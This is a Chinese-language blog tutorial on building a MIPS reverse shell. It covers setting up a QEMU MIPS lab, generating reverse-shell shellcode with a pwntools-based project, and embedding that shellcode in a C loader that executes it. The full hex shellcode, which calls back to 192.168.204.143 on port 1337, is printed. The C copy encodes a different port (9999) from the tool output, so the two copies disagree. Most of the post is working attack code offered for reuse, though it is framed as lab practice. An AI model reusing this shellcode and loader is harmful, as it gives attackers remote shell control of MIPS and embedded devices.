美文网首页Shell
mips下反弹shell编译执行

mips下反弹shell编译执行

作者: doinb1517 | 来源:发表于2023-01-04 16:59 被阅读0次

    前言

    简单介绍下基本环境
    我的mips机器是使用qemu system搭建的虚拟机 32位大端模式
    使用qemu system搭建漏洞环境,具体搭建过程如下
    下载镜像
    https://people.debian.org/~aurel32/qemu/mips/
    运行下面的网络设置脚本给网口br0分配ip

    #! /bin/sh
    sudo brctl addbr br0 //创建网桥br0
    sudo brctl addif br0 ens33 //连接到ens33
    sudo ifconfig br0 0.0.0.0 promisc up
    sudo ifconfig ens33 0.0.0.0 promisc up
    sudo dhclient br0
    //给该网桥分配IP地址,此前不能给ens33分配ipv4的地址
     
    sudo tunctl -t tap0 -u root
    sudo brctl addif br0 tap0
    sudo ifconfig tap0 0.0.0.0 promisc up
    sudo brctl showstp br0
    

    开启qemu虚拟机,使用root/root登陆系统,这时qemu有网络且可以访问外网

    sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
    

    编译mips反弹shell

    使用下面的项目生成反弹shell的hex
    https://github.com/gavz/MIPS-Reverse
    安装

    # 1. Install pwntools
    $ pip3 install pwntools
    
    # 2. Install the binutils for the MIPS architecture
    $ apt-get install software-properties-common
    $ apt-add-repository ppa:pwntools/binutils
    $ apt-get update
    $ apt-get install binutils-mips-linux-gnu
    

    使用

    python3 main.py -i 127.0.0.1 -p 1337 -s sh -f hex
    
    root@fuzz-iot-ubuntu18-04:/home/fuzz/git/MIPS-Reverse# python3 main.py -i 192.168.204.143 -p 1337 -s sh -f hex
    \x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff\x24\x0f\xff\xfd\x01\xe0\x78\x27\xaf\xaf\xff\xe0\x3c\x0e\x05\x39\x35\xce\x7a\x69\xaf\xae\xff\xe4\x3c\x0e\xc0\xa8\x35\xce\xcc\x8f\xaf\xae\xff\xe6\x27\xa5\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x24\x0f\xff\xfd\x01\xe0\x28\x27\x8f\xa4\xff\xff\x24\x02\x0f\xdf\x01\x01\x01\x0c\x20\xa5\xff\xff\x24\x01\xff\xff\x14\xa1\xff\xfb\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c
    

    c代码如下

    #include <stdio.h>
    char sc[] ={"\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff\x24\x0f\xff\xfd\x01\xe0\x78\x27\xaf\xaf\xff\xe0\x3c\x0e\x27\x0f\x35\xce\x7a\x69\xaf\xae\xff\xe4\x3c\x0e\xc0\xa8\x35\xce\xcc\x8f\xaf\xae\xff\xe6\x27\xa5\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x24\x0f\xff\xfd\x01\xe0\x28\x27\x8f\xa4\xff\xff\x24\x02\x0f\xdf\x01\x01\x01\x0c\x20\xa5\xff\xff\x24\x01\xff\xff\x14\xa1\xff\xfb\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c"};
    int main()
    {
        void (*p)(void);
        p = sc;
    
        p();
        return 0;
    }
    

    使用mips-linux-gnu-gcc交叉编译

    /usr/bin/mips-linux-gnu-gcc shellcode2.c -o mips-shell2.bin
    
    image.png

    需要注意的是如果在/bin/sh 执行会报错,找不到文件,这种情况编译时加入-static参数静态编译

    相关文章

      网友评论

        本文标题:mips下反弹shell编译执行

        本文链接:https://www.haomeiwen.com/subject/aiarcdtx.html